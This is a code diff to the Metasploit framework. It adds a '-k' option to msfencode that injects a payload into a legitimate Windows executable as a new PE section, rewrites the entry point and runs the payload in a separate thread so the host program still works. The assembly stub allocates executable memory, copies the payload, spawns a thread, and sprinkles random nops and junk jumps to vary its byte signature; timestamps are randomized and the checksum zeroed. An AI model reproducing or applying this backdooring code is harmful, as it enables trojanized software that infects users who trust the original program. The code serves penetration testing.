diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e0cd83aac9..cc418f0842 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -75,11 +75,88 @@ require 'metasm' payload = win32_rwx_exec(code) # Create a new PE object and run through sanity checks + endjunk = true + fsize = File.size(opts[:template]) pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) text = nil pe.sections.each do |sec| text = sec if sec.name == ".text" - break if text + endjunk = false if sec.contains_file_offset?(fsize-1) + end + + #try to inject code into executable by adding a section without affecting executable behavior + if(opts[:insert]) + if endjunk + raise RuntimeError, "Junk at end of file. Is this a packed exe?" + end + + #find first section file offset and free RVA for new section + free_rva = pe.hdr.opt.AddressOfEntryPoint + first_off = fsize + pe.sections.each do |sec| + first_off = sec.file_offset if sec.file_offset < first_off + free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva + end + #align free_rva + free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment + + #See if we can add a section + first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader + new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER + if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off + raise RuntimeError, "Not enough room for new section header" + end + + # figure out where in the new section to put the start. Right now just putting at the beginning of the new section + start_rva = free_rva + + #make new section, starting at free RVA + new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva) + #pad to file alignment + new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment)) + + #make new section header + new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct + new_sechead.v['Name'] = "\x00"*8 # no name + new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE + new_sechead.v['VirtualAddress'] = free_rva + new_sechead.v['SizeOfRawData'] = new_sec.length + new_sechead.v['PointerToRawData'] = fsize + + # Create the modified version of the input executable + exe = '' + File.open(opts[:template], 'rb') do |fd| + exe = fd.read( File.size(opts[:template]) ) + end + #New file header with updated number of sections and timedatestamp + new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct + new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE]) + new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1 + new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000) + exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s + + #new optional header with new entry point, size of image, and size of code + new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct + new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader]) + new_opthead.v['AddressOfEntryPoint'] = start_rva + new_opthead.v['SizeOfImage'] = free_rva + new_sec.length + new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length + exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s + #kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway + exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8 + + #new section header and new section + exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s + exe += new_sec + + cks = pe.hdr.opt.CheckSum + if(cks != 0) + exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") + end + + pe.close + + return exe end if(not text) @@ -967,7 +1044,232 @@ require 'metasm' res end -end -end -end + # This wrapper is responsible for allocating RWX memory, copying the + # target code there, setting an exception handler that calls ExitProcess, + # starting the code in a new thread, and finally jumping back to the next + # code to execute. block_offset is the offset of the next code from + # the start of this code + def self.win32_rwx_exec_thread(code, block_offset) + stub_block = %Q^ + ; Input: The hash of the API to call and all its parameters must be pushed onto stack. + ; Output: The return value from the API call will be in EAX. + ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention) + ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. + ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. + ; Note: This function is unable to call forwarded exports. + + api_call: + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor edx, edx ; Zero EDX + mov edx, [fs:edx+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to itterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... + finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp short next_mod ; Process this module + ^ + + stub_exit = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: None. + ; Clobbers: EAX, EBX, (ESP will also be modified) + ; Note: Execution is not expected to (successfully) continue past this block + + exitfunk: + mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 + jl short goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne short goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push byte 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call EXITFUNK( 0 ); + ^ + + stub_alloc = %Q^ + pushad ; Save registers + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + delta: ; + #{stub_block} + start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. + + allocate_size: + mov esi,PAYLOAD_SIZE + + allocate: + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; Push the length value of the wrapped code block + push byte 0 ; NULL as we dont care where the allocation is. + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + mov ebx, eax ; Store allocated address in ebx + mov edi, eax ; Prepare EDI with the new address + mov ecx, esi ; Prepare ECX with the length of the code + call get_payload + got_payload: + pop esi ; Prepare ESI with the source to copy + rep movsb ; Copy the payload to RWX memory + call set_handler ; Configure error handling + + exitblock: + #{stub_exit} + + set_handler: + xor eax,eax +; push dword [fs:eax] +; mov dword [fs:eax], esp + push eax ; LPDWORD lpThreadId (NULL) + push eax ; DWORD dwCreationFlags (0) + push eax ; LPVOID lpParameter (NULL) + push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) + push eax ; SIZE_T dwStackSize (0 for default) + push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) + push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call ebp ; Spawn payload thread + + pop eax ; Skip +; pop eax ; Skip + pop eax ; Skip + popad ; Get our registers back +; sub esp, 44 ; Move stack pointer back past the handler + ^ + + stub_final = %Q^ + get_payload: + call got_payload + payload: + ; Append an arbitary payload here + ^ + + + stub_alloc.gsub!('short', '') + stub_alloc.gsub!('byte', '') + + wrapper = "" + # regs = %W{eax ebx ecx edx esi edi ebp} + + cnt_jmp = 0 + cnt_nop = 64 + + stub_alloc.each_line do |line| + line.gsub!(/;.*/, '') + line.strip! + next if line.empty? + + if (cnt_nop > 0 and rand(4) == 0) + wrapper << "nop\n" + cnt_nop -= 1 + end + + if(cnt_nop > 0 and rand(16) == 0) + cnt_nop -= 2 + cnt_jmp += 1 + + wrapper << "jmp autojump#{cnt_jmp}\n" + 1.upto(rand(8)+1) do + wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" + cnt_nop -= 1 + end + wrapper << "autojump#{cnt_jmp}:\n" + end + wrapper << line + "\n" + end + + #someone who knows how to use metasm please explain the right way to do this. + wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n" + wrapper << stub_final + + enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded + off = enc.offset_of_reloc('PAYLOAD_SIZE') + soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 + res = enc.data + code + + res[off,4] = [code.length].pack('V') + res[soff,4] = [block_offset - (soff + 4)].pack('V') + res + end + +end +end +end diff --git a/msfencode b/msfencode index 5f6c7389d2..190072cf7a 100755 --- a/msfencode +++ b/msfencode @@ -29,6 +29,7 @@ $args = Rex::Parser::Arguments.new( "-n" => [ false, "Dump encoder information" ], "-h" => [ false, "Help banner" ], "-x" => [ true, "Specify an alternate win32 executable template" ], + "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ], "-l" => [ false, "List available encoders" ]) # @@ -95,6 +96,7 @@ delim = '_|_' output = nil ecount = 1 altexe = nil +inject = false plat = nil # Parse the argument and rock that shit. @@ -136,6 +138,8 @@ $args.parse(ARGV) { |opt, idx, val| encoder = val when "-x" altexe = val + when "-k" + inject = true when "-h" usage else @@ -153,6 +157,11 @@ if(not fmt and output) end end +if inject and not altexe + $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." + exit(1) +end + # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ] @@ -209,11 +218,11 @@ case cmd when 'exe' exe = nil if(not arch or (arch.index(ARCH_X86))) - exe = Msf::Util::EXE.to_win32pe($framework, raw, {:template => altexe}) + exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe}) end if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - exe = Msf::Util::EXE.to_win64pe($framework, raw, {:template => altexe}) + exe = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe}) end if(not output) @@ -246,7 +255,7 @@ case cmd end end when 'vba' - exe = Msf::Util::EXE.to_win32pe($framework, raw, {:template => altexe}) + exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe}) vba = Msf::Util::EXE.to_exe_vba(exe) if(not output) $stdout.write(vba) @@ -256,7 +265,7 @@ case cmd end end when 'vbs' - vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:persist => false, :template => altexe}) + vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe}) if(not output) $stdout.write(vbs) else @@ -265,7 +274,7 @@ case cmd end end when 'loop-vbs' - vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:persist => true, :template => altexe}) + vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe}) if(not output) $stdout.write(vbs) else @@ -274,7 +283,7 @@ case cmd end end when 'asp' - asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:persist => false, :template => altexe}) + asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe}) if(not output) $stdout.write(asp) else diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 9d57842a45..e1d5c5b2ad 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -295,8 +295,8 @@ class Plugin::Nexpose < Msf::Plugin end site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) opt_credentials.each do |c| - site.site_config.addCredentials(c) - end + site.site_config.addCredentials(c) + end site.saveSite() print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose